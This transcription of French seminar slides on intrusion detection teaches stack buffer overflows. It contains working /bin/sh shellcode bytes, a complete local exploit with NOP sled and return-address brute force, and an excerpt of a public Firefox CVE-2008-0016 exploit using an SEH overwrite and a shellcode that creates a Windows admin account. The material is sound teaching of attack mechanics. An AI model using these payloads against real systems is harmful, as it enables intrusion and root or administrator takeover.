Slides de la présentation intermédiaire
Transcription
Slides de la présentation intermédiaire
Buffer overflow
Séminaire de détection d’intrusions
Georges Discry
Julien Ghaye
Quentin Jacquemart
Benjamin Laugraud
Prérequis
Structure des ordinateurs
Assembleur
x86 – GNU/Linux
ELF : Executable and Linkable
Format
Format d’exécutables
Découpé en plusieurs parties :
ELF : Executable and Linkable
Format
Dualité
Mémoire virtuelle
Espace noyau :
0x00000000 – 0xBFFFFFFF
Espace utilisateur :
0xC0000000 – 0xFFFFFFFF
Format ELF : adresse de base
0x08048000
Adresses indépendantes de la machine
(mais dépendantes de l’architecture et de l’OS)
Espace utilisateur
.stack <-> pile
.bss <-> données globales non-init
.data <-> données globales init
.text <-> code
ASM x86 (32 bits)
Pile construite de bas en haut
Allocation variable locale = soustraction
d’adresse
Données dans la pile écrites de haut en
bas
3 registres importants
%eip : instruction pointer
%ebp : base pointer
%esp : stack pointer
ASM x86
Cadre d’une fonction
ASM x86 :
appel d’une fonction
Soit la fonction appelée foo(5, 6);
En assembleur :
push
push
call
add
$0x6
;
$0x5
;
0xadresse <foo> ;
$0x8,%esp
;
Ajout du dernier argument
Ajout du premier argument
Adresse hex fonction à appeler
Retrait des variables de la pile
ASM x86 :
prologue d’une fonction
Soit la fonction
int foo(int a, int b) {
int c = a;
int d = b;
return c;
}
Prologue
push
mov
sub
push
%ebp
%esp,%ebp
$0x18,%esp
%eax
;
;
;
;
Sauvegarde %ebp appelant
Init %ebp de foo
GCC réserve 24 bytes min
Sauvegarde registre de retour
ASM x86 :
épilogue d’une fonction
Soit (la même) fonction
int foo(int a, int b) {
int c = a;
int d = b;
return c;
}
Epilogue
pop
leave
ret
%eax ; Restauration du registre %eax
; Désalloc var locales et restauration %ebp
; Retour proc appelante
Buffer overflow : principes
But : faire exécuter du code malveillant
par un programme légitime
Exemple :
int main(int argc, char** argv) {
if (argc > 1) foo(argv[1]);
return 0;
}
void foo(char* string) {
char buffer[256];
strcpy(buffer, string);
}
Buffer overflow : principes
Assembleur pour le prologue de foo :
push
mov
sub
%ebp
%esp,%ebp
$0x108,%esp ; GCC alloue 264 bytes pour le buffer
Ecriture de données dans
buffer sur 272 bytes pour
écraser %eip
ret permet l’exéctution
du code malveillant
Buffer overflow : principes
strcpy(dest, src) ne vérifie pas que
l’espace alloué à dest est épuisé
Problèmes similaires pour
gets()
strcat()
sprintf(), vsprintf()
scanf(), fscanf(), sscanf(),
vscanf(), vsscanf(), vfscanf()
…
Buffer overflow : exploitation
2 types
DoS
Code intrusif/destructif
Buffer overflow : DoS
Example
Dans l’exemple précédent :
Au lieu de remplacer %eip par l’adresse
d’un code malveillant, mettre l’adresse de
call <foo> dans la fonction main crée
une boucle infinie
Comportement du programme :
1. main fait un branchement vers foo
2. Le remplissage écrase la sauvegarde de %eip
3. Retour à l’étape 1
Buffer overflow : DoS
Dans une exploitation « remote », une
simple erreur de segmentation mène à
un DoS
Buffer overflow :
intrusion système
Exécuter un code qui, en général,
donne accès à un shell
Vocabulaire :
Shellcode : code qui donne accès à un shell
Exploit : programme qui injecte un payload
dans un programme vulnérable
Payload : données contenant ce qui est
nécessaire pour exploiter la faille, y
compris le shellcode et l’adresse de retour
Shellcode
Forme d’un shellcode
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
i.e. une suite d’instructions écrites en bytes
Lance tout programme sans argument
Comment obtenir ce résultat ?
Shellcode : écriture
Soit le programme (qui lance /bin/sh)
void main() {
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
Shellcode : écriture
Assembleur pour main
0x08048224
0x08048225
0x08048227
0x0804822a
0x0804822d
0x08048232
0x08048235
0x08048238
0x0804823b
0x0804823e
0x08048240
<main+0>: push
%ebp
<main+1>: mov
%esp,%ebp
<main+3>: sub
$0x8,%esp
<main+6>: and
$0xfffffff0,%esp
<main+9>: mov
$0x0,%eax
<main+14>: add
$0xf,%eax
<main+17>: add
$0xf,%eax
<main+20>: shr
$0x4,%eax
<main+23>: shl
$0x4,%eax
<main+26>: sub
%eax,%esp
<main+28>: movl
$0x809efe8,0xfffffff8(%ebp)
0x08048247 <main+35>: movl
$0x0,0xfffffffc(%ebp)
Shellcode : écriture
main + 28
L’adresse de la chaîne /bin/sh est placée dans name[0]
main + 35
L’adresse NULL est placée dans name[1]
Shellcode : écriture
Assembleur pour main (suite)
0x0804824e <main+42>: sub
$0x4,%esp
0x08048251 <main+45>: push
$0x0
0x08048253 <main+47>: lea
0xfffffff8(%ebp),%eax
0x08048256 <main+50>: push
%eax
0x08048257 <main+51>: pushl 0xfffffff8(%ebp)
0x0804825a <main+54>: call
0x804f010 <execve>
0x0804825f <main+59>: add
$0x10,%esp
0x08048262 <main+62>: mov
$0x0,%eax
0x08048267 <main+67>: leave
0x08048268 <main+68>: ret
Shellcode : écriture
main + 45
L’adresse NULL est placée sur la pile comme troisième
argument de execve
main + 47
L’adresse de name est placée dans le registre %eax
main + 50
L’adresse de name est placée sur la pile comme
deuxième argument de execve via %eax
main + 51
L’adresse de la chaîne /bin/sh est placée sur la pile
comme premier argument de execve
main + 54
La fonction execve est appelée
Shellcode : écriture
Assembleur pour execve
0x0804f010
0x0804f011
0x0804f016
0x0804f018
0x0804f019
0x0804f01b
0x0804f01e
<execve+0>:
<execve+1>:
<execve+6>:
<execve+8>:
<execve+9>:
<execve+11>:
<execve+14>:
0x0804f020
0x0804f025
0x0804f028
0x0804f02b
0x0804f030
<execve+16>:
<execve+21>:
<execve+24>:
<execve+27>:
<execve+32>:
push
%ebp
mov
$0x0,%eax
mov
%esp,%ebp
push
%ebx
test
%eax,%eax
mov
0x8(%ebp),%ebx
je
0x804f025 <execve+21>
call
0x0
mov
0xc(%ebp),%ecx
mov
0x10(%ebp),%edx
mov
$0xb,%eax
int
$0x80
Shellcode : écriture
execve + 11
L’adresse de la chaîne /bin/sh est placée dans le
registre %ebx en tant que premier argument
execve + 21
L’adresse de name est placée dans le registre %ecx en
tant que deuxième argument
execve + 24
L’adresse NULL est placée dans le registre %edx en tant
que troisième argument
execve + 27
La valeur 11 (0xB) est placée dans le registre %eax. Il
s’agit de l’adresse de execve dans la table syscall
execve + 32
Une interruption est effectuée pour passer en kernel
mode afin de passer la main à l’OS
Shellcode : écriture
Pour appeler un shell, il faut donc
0xB dans %eax
l’adresse du shell à exécuter dans %ebx
l’adresse d’un tableau de chaînes dans %ecx
1er élément : adresse du shell à exécuter
2e élément : NULL
NULL dans %edx
faire une interruption pour passer en mode
kernel
Shellcode : écriture
Il est possible d’écrire un code
assembleur qui réunit ces conditions
Il reste à le remettre sous la forme
présentée
Utiliser GCC en y introduisant le
programme assembleur
Shellcode : écriture
Programme C/ASM :
int main() {
__asm__(
"jmp
second\n"
"first:\n"
"popl
%esi\n"
"movl
%esi,0x8(%esi)\n"
"xorl
%eax,%eax\n"
"movb
%al,0x7(%esi)\n"
"movl
%eax,0xc(%esi)\n"
"movb
$0xb,%al\n"
"movl
%esi,%ebx\n"
"leal
0x8(%esi),%ecx\n"
"leal
0xc(%esi),%edx\n"
Shellcode : écriture
Programme C/ASM (suite) :
"int
$0x80\n"
"xorl
%ebx,%ebx\n"
"movl
%ebx,%eax\n"
"inc
%eax\n"
"int
$0x80\n"
"second:\n"
"call
first\n"
".string \"/bin/sh\""
);
}
Shellcode : écriture
Partie significative de la sortie de GCC :
0x08048392
0x08048393
0x08048396
0x08048398
0x0804839b
0x0804839e
0x080483a0
0x080483a2
0x080483a5
0x080483a8
0x080483aa
0x080483ac
<main+30>:
<main+31>:
<main+34>:
<main+36>:
<main+39>:
<main+42>:
<main+44>:
<main+46>:
<main+49>:
<main+52>:
<main+54>:
<main+56>:
pop
mov
xor
mov
mov
mov
mov
lea
lea
int
xor
mov
%esi
%esi,0x8(%esi)
%eax,%eax
%al,0x7(%esi)
%eax,0xc(%esi)
$0xb,%al
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
%ebx,%ebx
%ebx,%eax
Shellcode : écriture
… suite
0x080483ae <main+58>: inc %eax
0x080483af <main+59>: int $0x80
0x080483b1 <second+0>: call 0x8048392 <main+30>
La transformation de ces instructions en
code machine donnent les valeurs des
bytes présentées dans le shellcode
initial
Exploit : écriture
Rappel du programme C :
int main(int argc, char** argv) {
if (argc > 1) foo(argv[1]);
return 0;
}
void foo(char* string) {
char buffer[256];
strcpy(buffer, string);
}
Exploit : écriture
Deux difficultés pour l’écriture d’un
exploit :
1. Génération du payload
2. Connaissance de l’adresse du shellcode
dans la mémoire
Ces problèmes se rejoignent en
pratique
Exploit : écriture
Génération du payload
Taille du payload :
taille buffer sur la pile
24
char \ 0
1 byte
%ebp et %eip
Dans notre cas : 264 + 8 + 1 = 273 B
Exploit : écriture
Génération du payload
Le shellcode va se retrouver dans la pile
du programme vulnérable
Normalement, aucun code ne devrait y être
Il faut donc être extrêmement précis dans
le calcul d’adresses, particulièrement pour
le calcul de l’adresse de retour (afin
d’éviter une erreur de segmentation)
L’utilisation d’instructions nop nous permet
d’être plus souple dans le calcul de
l’adresse de retour
Exploit : écriture
Génération du payload
Forme du payload
Pour rechercher l’adresse de retour,
nous utilisons l’adresse contenue dans
%esp
L’offset à additionner à l’adresse dans
%esp sera passé en argument à
l’exploit
Exploit : écriture
Code de l’exploit :
#define NOP 0x90
int main(int argc, char** argv) {
if (argc < 2) {
fprintf(stderr, "No argument\n");
return 1;
}
char shellcode[] =
"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Exploit : écriture
Code de l’exploit (suite) :
char buffer[273];
char* ptr = (char*)&buffer;
int i;
for (i
*ptr
for (i
*ptr
=
=
=
=
0; i<268 - strlen(shellcode); i++, ptr++)
NOP;
0; i < strlen(shellcode); i++, ptr++)
shellcode[i];
int offset = atoi(argv[1]);
long esp = getESP();
long ret = esp + offset;
Exploit : écriture
Code de l’exploit (fin) :
printf("ESP Register : 0x%x\n", esp);
printf("Offset
: %i\n", offset);
printf("Address
: 0x%x\n", ret);
*(long*)ptr = ret;
ptr += 4;
*(char*)ptr = '\0';
execl("/home/sdi/overflow/prog1", "prog1",
buffer, NULL);
}
long getESP(void) {
__asm__("mov
%esp,%eax");
}
Exploit : écriture
Comment estimer l’offset ?
Une simple méthode est d’utiliser une
commande bash qui essaye chaque valeur
jusqu’à ce qu’une fonctionne (brute-force):
A=-1; while [ 1 ]; do A=$((A+1));
./a.out $A; done
Après quelques itérations, un terminal
s’exécute bien sur la machine
Si le bit suid de l’utilisateur est activé,
on a un terminal root
Exploits
Les exploits à distance contiennent un
shellcode qui ouvre un port TCP sur
lequel un terminal est exécuté
Faille et exploit utilisé
CVE-2008-0016
Affecte Mozilla Firefox et Thunderbird
2.0.0.16, ansi que SeaMonkey 1.1.12
Lorsque un lien est encodé en UTF-8, le
parseur d’URL copie les caractères
UTF-8 vers des caractères UTF-16 à
l’aide d’une boucle
Faille et exploit utilisé
Si la chaîne UTF-8 se termine par un
caractère multi-byte, le corps de la
boucle dépasse la fin du buffer
Faille et exploit utilisé : extrait
du code source de Firefox
ConvertUTF8toUTF16::write() :
const value_type* p = start;
const value_type* end = start + N;
// …
for ( ; p != end; ) {
char c = *p++;
// …
else if (UTF8traits::is4byte(c)) {
state = 3;
}
// …
while ( state-- ) {
c = *p++;
// bug!
Exploit utilisé
L’exploit que nous utilisons est un
serveur HTTP qui envoi une page
amenant la boucle dans son état faillible
La page est composée de deux parties
Un shellcode qui crée un utilisateur
administrateur r00t/r00tr00t!! sur une
machine MS-Windows XP SP3
Un lien malveillant permettant l’exécution
du shellcode
Exploit utilisé
Le shell code est envoyé dans une
balise <!CDATA[]>
"<!CDATA[" + "\x42\x41\x42\x41\x42\x41\x42\x41"
+ shellcode + "]>\n"
Précédé du préfixé 0x42 0x41 répété
Exploit utilisé
Le lien est généré par ce code :
s = "\xC3\xBA"
u = unicode(s, "utf-8")
utf8chars = u.encode("utf-8")
"<a
+
+
+
+
+
href=\"" + "\x01" + "xx://dmc" + utf8chars + "/"
"邐" * 1700
# Windows XP SP3 SEH offset
"ძ邐"
# unicode - ptr to next seh
"ᇧ怷"
# pop/pop/ret
"邐" * 10
egghunter + "邐" * 10 + "\" >s</a>"
Beaucoup de choses se passent !
Exploit utilisé
egghunter est un code qui se charge
de retrouver le préfixe 0x42 0x41 en
mémoire et d’amener %eip à l’adresse
du code malveillant
Il est codé en entités HTML pour éviter
une conversion par le navigateur
Exploit utilisé : structured
exception handling (SEH)
Spécifique à MS-Windows
Contrôleur d’exception du système
Structure comprenant l’adresse du bloque
de code à exécuter si une exception
survient au cours du programme
Si le programme ne sait pas gérer son
exception, l’OS prend le relai via un
gestionnaire d’exception générique (dans
ntdll.dll)
Exploit utilisé : SEH
Chaque bloc catch a son propre cadre
sur la pile
Une structure SEH est une structure de
2 * 4 bytes :
Pointeur vers la prochaine structure SEH
(next_SEH)
Pointeur vers l’adresse du block pour
l’exception courante (SE handler)
Exploit utilisé : SEH
Exploit utilisé : SEH
Si un exploit ne fonctionne pas, le code
injecté a une forte probabilité de lever
une exception
Si on arrive a modifier l’adresse du SE
handler par l’adresse du shellcode, la
fiabilité de l’exploit est améliorée
L’idée est donc de modifier le SE
handler relatif à une certaine exception,
et puis de lancer cette exception
Exploit utilisé : SEH
Références principales
Exploitation avancée de buffer overflows, Olivier Gay, Département d'Informatique de
l'EPFL, EPFL.
Smacking The Stack For Fun And Profit, Aleph One, underground.org.
Le format ELF : point de vue d'un infecteur, L33kma, l33ckma.tuxfamily.org.
Understanding ELF using readelf and objdump, Mulyadi Santosa, linuxforums.org.
Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input,
Michael L. Haungs, California Polytechnic State University.
NetBSD ELF File Format Manual man page.
SEH Stack Based Windows Buffer Overflow Tutorial, Lupin from The Grey Corner,
grey-corner.blogspot.com.
A Crash Course on the Depths of Win32 Structured Exception Handling, Matt Pietrek,
Microsoft Systems Journal.
Exploit writing tutorial: SEH Based Exploits, Peter Van Eeckhoutte, corelan.be.
Exploit utilisé écrit par Dominic Chell disponible à l’adresse
http://www.milw0rm.com/exploits/9663